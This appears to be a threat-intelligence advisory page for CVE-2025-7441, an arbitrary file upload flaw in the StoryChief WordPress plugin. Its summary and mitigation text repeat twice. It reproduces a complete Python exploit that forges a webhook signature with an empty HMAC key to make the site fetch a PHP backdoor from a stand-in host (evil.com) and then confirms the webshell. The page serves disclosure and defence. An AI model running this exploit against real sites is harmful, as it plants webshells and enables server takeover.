StoryChief Wordpress Plugin 1.0.42 - Arbitrary File Upload
StoryChief Wordpress Plugin 1.0.42 - Arbitrary File Upload
AI Analysis
Technical Summary
The StoryChief WordPress Plugin version 1.0.42 contains a vulnerability that allows for arbitrary file upload. This type of vulnerability occurs when an attacker can upload files to the web server without proper validation or restrictions. In the context of WordPress plugins, arbitrary file upload flaws are particularly dangerous because they can enable attackers to upload malicious scripts or web shells, which can then be executed on the server. This can lead to full system compromise, data theft, defacement, or pivoting to other internal systems. The vulnerability in StoryChief 1.0.42 likely stems from insufficient input validation or improper handling of file upload mechanisms within the plugin’s code. The presence of exploit code written in Python indicates that the vulnerability can be exploited remotely and programmatically, potentially automating the attack process. Although no specific affected versions are listed beyond 1.0.42, the exploit targets this version explicitly. No official patches or mitigation links are currently available, and no known exploits in the wild have been reported yet, which suggests the vulnerability is either newly disclosed or not yet widely exploited. However, the availability of exploit code increases the risk of future exploitation.
Potential Impact
For European organizations using WordPress sites with the StoryChief plugin version 1.0.42, this vulnerability poses a significant risk. Successful exploitation can lead to unauthorized access to web servers, allowing attackers to execute arbitrary code, steal sensitive data, or disrupt services. This can affect confidentiality, integrity, and availability of organizational data and services. Organizations in sectors such as media, marketing, and publishing—where StoryChief is likely used—may be particularly targeted. Additionally, compromised websites can be used to distribute malware or conduct phishing campaigns, amplifying the threat. The impact is heightened for organizations subject to strict data protection regulations like GDPR, as breaches could lead to legal penalties and reputational damage. Given the ease of exploitation suggested by the availability of exploit code and the typical public exposure of WordPress sites, the threat is relevant across Europe.
Mitigation Recommendations
Immediate mitigation steps include removing or disabling the StoryChief plugin version 1.0.42 until a patch is released. Organizations should monitor official StoryChief channels for security updates or patches. In the interim, applying web application firewall (WAF) rules to block suspicious file upload attempts can reduce risk. Restricting file upload permissions and validating file types and sizes at the server level can also help mitigate exploitation. Regularly auditing WordPress plugins and maintaining least privilege principles for file system permissions will limit the damage potential. Additionally, monitoring web server logs for unusual upload activity or execution of unexpected scripts can provide early detection of exploitation attempts. Organizations should also ensure backups are current and tested to enable recovery in case of compromise.
Affected Countries
Germany, France, United Kingdom, Netherlands, Belgium, Italy, Spain
Indicators of Compromise
- exploit-code: # Exploit Title: StoryChief Wordpress Plugin 1.0.42 - Arbitrary File Upload # Exploit Author: xpl0dec # Vendor Homepage: https://www.storychief.io/wordpress-content-scheduler # Software Link: https://github.com/Story-Chief/wordpress/ # Version: <= 1.0.42 # Tested on: Linux # CVE : CVE-2025-7441 # CVSS Score : 9.8 # Step to reproduce : # 1. Create a file with the .php extension and fill it with: # <?php # header(“Content-Type: image/jpeg”); # echo “<?php phpinfo(); ?>”; # ?> # 2. Adjust the echo phpinfo section as needed # 3. Host it on a VPS/web server with the name you want to upload, for example backdoor.php # 4. The second argument is the URL of the backdoor created earlier, e.g., http://evil.com/backdoor.php # 5. Then run the exploit: python3 CVE-2025-7441.py <wordpress_url> <backdoor_url> from datetime import datetime import requests import json import hmac import hashlib import sys import time import os def banner(): print(r""" _ _ ____ _____ _ _ _____ _ __ ____ _ __ __ | \ | |/ ___| ____| | | | ____| |/ / | _ \ / \\ \ / / | \| | | _| _| | |_| | _| | ' / | | | |/ _ \\ V / | |\ | |_| | |___| _ | |___| . \ | |_| / ___ \| | |_| \_|\____|_____|_| |_|_____|_|\_\ |____/_/ \_\_| PoC exploit CVE-2025-7441 by xpl0dec """) if __name__ == "__main__": banner() if len(sys.argv) != 3: print(f"Usage: {sys.argv[0]} <target_url> <backdoor_url>") sys.exit(1) url = sys.argv[1] + "/wp-json/storychief/webhook" dummy = { "meta": { "event": "publish" }, "data": { "featured_image": { "data": { "sizes": { "full": sys.argv[2] } } } } } json_string = json.dumps(dummy, separators=(',', ':'), ensure_ascii=True) json_string = json_string.replace("/", "\\/").encode() signature = hmac.new( "".encode(), json_string, digestmod=hashlib.sha256 ).hexdigest() headers = { "Content-Type": "application/json" } payload = { "meta": { "mac" : signature, "event": "publish" }, "data": { "featured_image": { "data": { "sizes": { "full": sys.argv[2] } } } } } print("[+] get hmac... [+]") time.sleep(2) print("hmac : " + signature) response = requests.post(url, headers=headers, data=json.dumps(payload)) if "permalink" in response.text: print("[+] Response Success [+]") time.sleep(2) print("[+] Check backdoor from uploaded... [+]") current_datetime = datetime.now() month = str(current_datetime.month).zfill(2) year = current_datetime.year file_backdoor = os.path.basename(sys.argv[2]) get_backdoor = requests.get(sys.argv[1] + f"/wp-content/uploads/{year}/{month}/{file_backdoor}") if get_backdoor.status_code == 200: print("[+] Exploitation Success [+]") time.sleep(2) print("webshell uploaded in : " + sys.argv[1] + f"/wp-content/uploads/{year}/{month}/{file_backdoor}")
StoryChief Wordpress Plugin 1.0.42 - Arbitrary File Upload
Description
StoryChief Wordpress Plugin 1.0.42 - Arbitrary File Upload
AI-Powered Analysis
Technical Analysis
The StoryChief WordPress Plugin version 1.0.42 contains a vulnerability that allows for arbitrary file upload. This type of vulnerability occurs when an attacker can upload files to the web server without proper validation or restrictions. In the context of WordPress plugins, arbitrary file upload flaws are particularly dangerous because they can enable attackers to upload malicious scripts or web shells, which can then be executed on the server. This can lead to full system compromise, data theft, defacement, or pivoting to other internal systems. The vulnerability in StoryChief 1.0.42 likely stems from insufficient input validation or improper handling of file upload mechanisms within the plugin’s code. The presence of exploit code written in Python indicates that the vulnerability can be exploited remotely and programmatically, potentially automating the attack process. Although no specific affected versions are listed beyond 1.0.42, the exploit targets this version explicitly. No official patches or mitigation links are currently available, and no known exploits in the wild have been reported yet, which suggests the vulnerability is either newly disclosed or not yet widely exploited. However, the availability of exploit code increases the risk of future exploitation.
Potential Impact
For European organizations using WordPress sites with the StoryChief plugin version 1.0.42, this vulnerability poses a significant risk. Successful exploitation can lead to unauthorized access to web servers, allowing attackers to execute arbitrary code, steal sensitive data, or disrupt services. This can affect confidentiality, integrity, and availability of organizational data and services. Organizations in sectors such as media, marketing, and publishing—where StoryChief is likely used—may be particularly targeted. Additionally, compromised websites can be used to distribute malware or conduct phishing campaigns, amplifying the threat. The impact is heightened for organizations subject to strict data protection regulations like GDPR, as breaches could lead to legal penalties and reputational damage. Given the ease of exploitation suggested by the availability of exploit code and the typical public exposure of WordPress sites, the threat is relevant across Europe.
Mitigation Recommendations
Immediate mitigation steps include removing or disabling the StoryChief plugin version 1.0.42 until a patch is released. Organizations should monitor official StoryChief channels for security updates or patches. In the interim, applying web application firewall (WAF) rules to block suspicious file upload attempts can reduce risk. Restricting file upload permissions and validating file types and sizes at the server level can also help mitigate exploitation. Regularly auditing WordPress plugins and maintaining least privilege principles for file system permissions will limit the damage potential. Additionally, monitoring web server logs for unusual upload activity or execution of unexpected scripts can provide early detection of exploitation attempts. Organizations should also ensure backups are current and tested to enable recovery in case of compromise.
Affected Countries
For access to advanced analysis and higher rate limits, contact root@offseq.com
Technical Details
- Edb Id
- 52422
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for StoryChief Wordpress Plugin 1.0.42 - Arbitrary File Upload
# Exploit Title: StoryChief Wordpress Plugin 1.0.42 - Arbitrary File Upload # Exploit Author: xpl0dec # Vendor Homepage: https://www.storychief.io/wordpress-content-scheduler # Software Link: https://github.com/Story-Chief/wordpress/ # Version: <= 1.0.42 # Tested on: Linux # CVE : CVE-2025-7441 # CVSS Score : 9.8 # Step to reproduce : # 1. Create a file with the .php extension and fill it with: # <?php # header(“Content-Type: image/jpeg”); # echo “<?php phpinfo(); ?>”; # ?> # 2. Adjust the ec... (2821 more characters)
Threat ID: 68ae5e7aad5a09ad005d88bb
Added to database: 8/27/2025, 1:25:14 AM
Last enriched: 8/27/2025, 1:25:57 AM
Last updated: 8/31/2025, 8:24:31 PM
Views: 40
Related Threats
WhatsApp 0-Day Exploited in Attacks on Targeted iOS and macOS Users
HighHackers Exploit CrushFTP Zero-Day to Take Over Servers - Patch NOW!
CriticalWhatsApp Issues Emergency Update for Zero-Click Exploit Targeting iOS and macOS Devices
CriticalNew zero-click exploit allegedly used to hack WhatsApp users
HighResearchers Warn of Sitecore Exploit Chain Linking Cache Poisoning and Remote Code Execution
HighActions
Updates to AI analysis are available only with a Pro account. Contact root@offseq.com for access.
External Links
Need enhanced features?
Contact root@offseq.com for Pro access with improved analysis and higher rate limits.